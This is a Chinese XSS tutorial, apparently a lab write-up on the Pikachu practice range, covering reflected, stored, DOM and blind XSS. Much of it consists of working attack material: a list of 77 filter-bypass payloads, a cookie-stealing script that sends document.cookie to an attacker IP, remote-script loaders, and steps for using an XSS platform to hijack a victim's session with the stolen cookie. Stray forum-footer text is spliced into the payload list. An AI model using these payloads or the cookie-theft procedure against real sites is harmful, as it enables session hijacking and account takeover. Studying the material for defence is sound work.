目录

一.反射型 xss 

1.代码分析

2.渗透过程

二.存储型xss

1.题目分析

2.代码分析

3.渗透过程

三.dom型xss

1.代码分析 

2.渗透过程

四.xss 测试语句

五.xss 攻击语句

 六.xss 常见利用

1.创建恶意代码文件 xss.js

2.开启web服务监听

3.注入xss代码

4.查看监听结果

七.加载远程攻击的 payload

常见的标准 payload

图片创建加载连接

字符拼接

jquery 加载

八.利用 xss 平台盗取 cookie 登录

1.搭建平台

2.创建攻击模块 选择 keepsession 如果攻击成功后,cookie 一直会请求刷新。

3.插入payload

 4.开启靶场,输入payload

5.接收到浏览器传来的cookie

6.抓包刚刚的地址,然后把cookie加上去

九.xss实战

1.xss(post型)

2.xss(dom-x)

3.xss(盲打)

4.xss(过滤)

5.xss(htmlspecialchars)

6.xss(href输出)

7.xss(js输出)


一.反射型 xss 

1.代码分析

2.渗透过程

发现有长度现在

方法1.在url里面直接输入脚本代码

方法2.

二.存储型xss

1.题目分析

输入什么就把什么放进数据库里面

2.代码分析

3.渗透过程

输入<script>alert('1');</script>

重新访问这个页面时候就会执行脚本代码

三.dom型xss

DOM型XSS(Cross-Site Scripting)是一种在前端JavaScript代码执行过程中发生的安全漏洞,它与存储型和反射型XSS略有不同。DOM型XSS攻击利用了浏览器中的DOM(文档对象模型)解析和操作HTML的方式。

通俗易懂地说,DOM型XSS攻击是通过修改网页中的DOM元素来执行恶意脚本。与存储型和反射型XSS不同,DOM型XSS攻击并不涉及将恶意脚本发送给服务器并存储在数据库中。相反,攻击者利用前端JavaScript代码中的漏洞,直接在用户的浏览器中修改网页的DOM结构,导致恶意脚本被执行。

举个例子,假设一个网页上有一个搜索框,用户在搜索框中输入内容后,网页会通过JavaScript代码将用户的输入显示在页面上。如果网页没有对用户输入进行适当的验证和转义处理,那么攻击者可以构造一个恶意输入,其中包含恶意脚本,比如 <script>alert('恶意脚本');</script>。当其他用户访问该页面时,恶意脚本会被解析并执行,导致弹出一个警报框。

1.代码分析 

"ctrl+f "能在网页检查内查找内容

2.渗透过程

四.xss 测试语句

在网站是否存在 xss 漏洞时,应该输入一些标签如输入后查看网页源代码是 否过滤标签,如果没过滤,很大可能存在 xss 漏洞。

常用的测试语句如下:

<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
闭合
"><span>x</span><"
'>"><span>x</span><'
单行注释
"><span>x</span>//

五.xss 攻击语句

<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

 六.xss 常见利用

构造 xss 恶意代码获取对方浏览器的 cookie

1.创建恶意代码文件 xss.js

vi xss.js

var img=document.createElement("img");
img.src="http://192.168.116.132?cookies="+escape(document.cookie);
document.body.appendChild(img);

2.开启web服务监听

3.注入xss代码

<script src="http://192.168.116.132/xss.js"></script>

4.查看监听结果

哈哈哈哈,我没监听成功哈

七.加载远程攻击的 payload

常见的标准 payload

注意 网站采用的协议

<script src="http://10.77.98.125/xss.js"></script>

<script src="https://10.77.98.125/xss.js"></script>

自动选择协议
<script src=//10.77.98.125/xss.js></script>
图片创建加载连接
<img src='' onerror=document.body.appendChild(document.createElement('script')).src='//http://10.77.98.125//xss.js'>

onerror=: 这是 JavaScript 事件处理程序,当图片加载失败时会触发 onerror 事件。

document.createElement('script'): 创建一个新的 <script> 元素。
document.body.appendChild(...): 将创建的 <script> 元素作为子元素添加到文档的 <body> 元素中。
字符拼接
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'xsstools'</script>
<script>z=z+'.com/a'</script>
<script>z=z+'mER></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
有的情况要用/**/注释不需要的代码
jquery 加载

有这个java包的都可以利用这个paylod

<script>$.getScript("http://192.168.116.132/xss.js");</script>
$.getScript() 是 jQuery 中的一个函数,用于通过 AJAX 请求来载入并执行 JavaScript 文件。这个函数可以用来动态地加载外部的 JavaScript 文件

八.利用 xss 平台盗取 cookie 登录

1.搭建平台

创建网站

把项目文件拉到网站根目录内

按照以下流程配置数据库

2.创建攻击模块 选择 keepsession 如果攻击成功后,cookie 一直会请求刷新。

3.插入payload
</textarea>'"><script src=http://www.xssme.com/nv11dZ?1709713959></script>

插入这个代码,浏览器会访问http://www.xssme.com/nv11dZ?1709713959文件

 4.开启靶场,输入payload

5.接收到浏览器传来的cookie

6.抓包刚刚的地址,然后把cookie加上去

就进去了

九.xss实战

1.xss(post型)

先登录

植入代码

</textarea>'"><script src=http://www.xssme.com/nv11dZ?1709782215></script>

获取cookies

2.xss(dom-x)

没什么好说的

3.xss(盲打)

xss盲打是一种攻击场景。我们输出的payload不会再前端进行输出,当管理员查看时就会遭到xss攻击。

植入代码

登录后台,就会执行这个代码

4.xss(过滤)

这题把script给过滤了

首先是大小写绕过,成功

编码绕过:在线网页常用编码转换工具_脚本之家

其他paylod

<img src=x onmouseover="alert(/xss/)">

#onmouseover是HTML中的一个事件属性,它用于在鼠标指针悬停在某个元素上时触发特定的操作或事件。
5.xss(htmlspecialchars)

javascript:alert(/xss/)

6.xss(href输出)

7.xss(js输出)

</script><script>alert('1')</script>

加个</script>包着

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐